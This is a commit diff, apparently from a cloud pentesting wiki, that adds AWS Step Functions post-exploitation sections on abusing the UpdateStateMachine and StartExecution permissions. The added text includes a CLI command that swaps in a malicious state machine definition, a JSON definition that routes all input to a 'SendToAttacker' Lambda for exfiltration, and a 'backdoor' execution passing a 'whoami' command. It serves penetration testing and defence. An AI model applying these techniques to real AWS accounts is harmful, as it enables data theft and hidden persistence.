Skip to content

Commit ce8947e

Browse files
committed
Update more post exploitation for step function
1 parent 58fa8e4 commit ce8947e

1 file changed

Lines changed: 63 additions & 0 deletions

File tree

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,69 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
7171

7272
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
7373

74+
### `states:UpdateStateMachine`
75+
76+
This permission allows an attacker to **modify the logic of an existing state machine**. By injecting malicious logic into the state definition, the attacker could:
77+
78+
- Add a **new state** that exfiltrates input/output to an external system (via Lambda or SNS).
79+
- **Bypass security checks**, skip validation steps, or disable error handling.
80+
- **Insert a logic bomb** that triggers under specific input conditions to disrupt execution.
81+
82+
This attack can be subtle, blending into large state definitions, and may go unnoticed without strict ASL version control.
83+
84+
```bash
85+
aws stepfunctions update-state-machine \
86+
--state-machine-arn <value> \
87+
--definition file://malicious_state_definition.json \
88+
--role-arn arn:aws:iam::<account-id>:role/<execution-role>
89+
```
90+
91+
`malicious_state_definition.json`
92+
93+
```json
94+
{
95+
"Comment": "Malicious State Machine - Data Exfiltration",
96+
"StartAt": "ExfiltrateSecrets",
97+
"States": {
98+
"ExfiltrateSecrets": {
99+
"Type": "Task",
100+
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:SendToAttacker",
101+
"InputPath": "$",
102+
"ResultPath": "$.exfiltration_result",
103+
"Next": "LegitimateStep"
104+
},
105+
"LegitimateStep": {
106+
"Type": "Task",
107+
"Resource": "arn:aws:lambda:us-east-1:123456789012:function:LegitBusinessLogic",
108+
"End": true
109+
}
110+
}
111+
}
112+
```
113+
- **Potential Impact**: Data exfiltration, disruption of logic flow, persistent access through hidden states.
114+
115+
---
116+
117+
### `states:StartExecution`
118+
119+
With this permission, an attacker can **trigger executions on demand**, passing arbitrary input to state machines. This allows:
120+
121+
- **Triggering sensitive operations** (e.g., Lambda invocations, EC2 actions) if the workflow handles them.
122+
- **Supplying attacker-controlled input** to abuse poorly validated states.
123+
- **Recon of business logic** by probing execution responses or failures.
124+
125+
Used with `states:GetExecutionHistory`, it becomes a powerful tool for **logic discovery**, **abuse**, or **command execution** through embedded Lambdas or activities.
126+
127+
```bash
128+
aws stepfunctions start-execution \
129+
--state-machine-arn <value> \
130+
--name "backdoor-$(date +%s)" \
131+
--input '{"command":"whoami"}'
132+
```
133+
134+
- **Potential Impact**: Unauthorized triggering of sensitive workflows, business logic abuse, stealthy persistence (can be cron-triggered via EventBridge).
135+
136+
74137
{{#include ../../../banners/hacktricks-training.md}}
75138

76139

0 commit comments

Comments
 (0)